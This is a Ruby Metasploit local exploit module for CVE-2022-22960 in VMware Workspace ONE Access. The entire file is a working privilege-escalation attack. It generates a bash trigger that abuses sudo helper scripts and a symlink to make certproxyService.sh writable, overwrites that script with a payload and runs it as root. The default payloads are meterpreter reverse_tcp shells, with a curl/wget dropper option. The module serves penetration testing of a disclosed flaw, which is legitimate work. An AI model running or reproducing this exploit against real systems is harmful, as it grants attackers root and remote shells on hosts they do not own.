## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck TARGET_FILE = '/opt/vmware/certproxy/bin/certproxyService.sh'.freeze def initialize(info = {}) super( update_info( info, { 'Name' => 'VMware Workspace ONE Access CVE-2022-22960', 'Description' => %q{ This module exploits CVE-2022-22960 which allows the user to overwrite the permissions of the certproxyService.sh script so that it can be modified by the horizon user. This allows a local attacker with the uid 1001 to escalate their privileges to root access. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me', # Discovery & PoC 'jheysel-r7' # Metasploit Module ], 'Platform' => [ 'linux', 'unix' ], 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => %i[curl wget], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'Privileged' => true, 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2022-22960' ], ['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'], ['URL', 'https://github.com/sourceincite/hekate/'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'] ], 'DisclosureDate' => '2022-04-06', 'Notes' => { # We're corrupting certproxyService.sh, if restoring the contents fails it won't work. 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def lpe_trigger(execute_payload) cert_filename = Rex::Text.rand_text_alpha(4..12) file_contents = <<~EOF #!/bin/bash cp #{TARGET_FILE} #{datastore['WritableDir']}/#{@certproxy_backup} sudo /usr/local/horizon/scripts/publishCaCert.hzn #{TARGET_FILE} #{cert_filename} mkdir #{cert_filename} ln -s #{TARGET_FILE} #{cert_filename}/debugConfig.txt sudo /usr/local/horizon/scripts/gatherConfig.hzn #{cert_filename} rm -rf #{cert_filename} chmod 755 #{TARGET_FILE} echo "mv /etc/ssl/certs/#{cert_filename} #{TARGET_FILE}" > #{TARGET_FILE} echo "chown root:root #{TARGET_FILE}" >> #{TARGET_FILE} echo "chmod 640 #{TARGET_FILE}" >> #{TARGET_FILE} echo "#{execute_payload}" >> #{TARGET_FILE} echo "mv #{datastore['WritableDir']}/#{@certproxy_backup} #{TARGET_FILE} && chmod 500 #{TARGET_FILE} && chown root:root #{TARGET_FILE}" >> #{TARGET_FILE}#{' '} sudo #{TARGET_FILE} EOF file_contents end def check unless whoami == 'horizon' return CheckCode::Safe('Not running as the horizon user.') end test = cmd_exec("sudo #{TARGET_FILE}") unless test.include? 'basename: missing operand' CheckCode::Safe end CheckCode::Appears('vulnerable') end def exploit @certproxy_backup = Rex::Text.rand_text_alpha(4..12) payload_filename = Rex::Text.rand_text_alpha(4..12) + '.sh' trigger_filename = Rex::Text.rand_text_alpha(4..12) + '.sh' case target['Type'] when :unix_cmd execute_payload = payload.encoded when :linux_dropper payload_path = "#{datastore['WritableDir']}/#{payload_filename}" upload_and_chmodx(payload_path, generate_payload_exe) execute_payload = "#{datastore['WritableDir']}/#{payload_filename}" register_file_for_cleanup(payload_path) else fail_with(Failure::BadConfig, 'Invalid target specified') end lpe_trigger_data = lpe_trigger(execute_payload) upload_and_chmodx("#{datastore['WritableDir']}/#{trigger_filename}", lpe_trigger_data) register_file_for_cleanup("#{datastore['WritableDir']}/#{trigger_filename}") print_status('Triggering the payload...') cmd_exec("cd #{datastore['WritableDir']}; ./#{trigger_filename}") end end